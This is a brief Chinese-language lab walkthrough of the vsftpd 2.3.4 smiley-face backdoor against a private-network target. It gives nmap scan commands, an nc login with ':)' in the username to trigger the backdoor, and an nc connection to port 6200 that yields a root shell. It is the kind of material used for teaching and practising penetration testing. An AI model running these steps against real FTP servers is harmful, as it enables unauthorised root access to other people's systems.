漏洞服务:VSFTPD 2.3.4,俗称笑脸漏洞。存在于这个2.3.4版本,属于开发者设计上的失误。在检测到用户名带有特殊字符:)时,会自动打开6200端口。
靶机ip:192.168.10.131
kali攻击机ip:192.168.10.129
实验过程:
1.kali 使用nmap扫描同网段靶机。
nmap 192.168.10.129/24
发现靶机开放了21端口(ftp服务)
2.nmap -sV 192.168.10.131检查ftp服务的版本
确定为vsftpd2.3.4
3.用瑞士军刀(nc)连接靶机21端口,user带有:),pass随意
nc 192.168.10.131 21
4.然后检查靶机的6200端口状态
nmap -p 6200 192.168.10.131
发现6200开放
5.打开新的终端窗口,连接靶机6200端口
nc 192.168.10.131 6200
以root身份进入,实验成功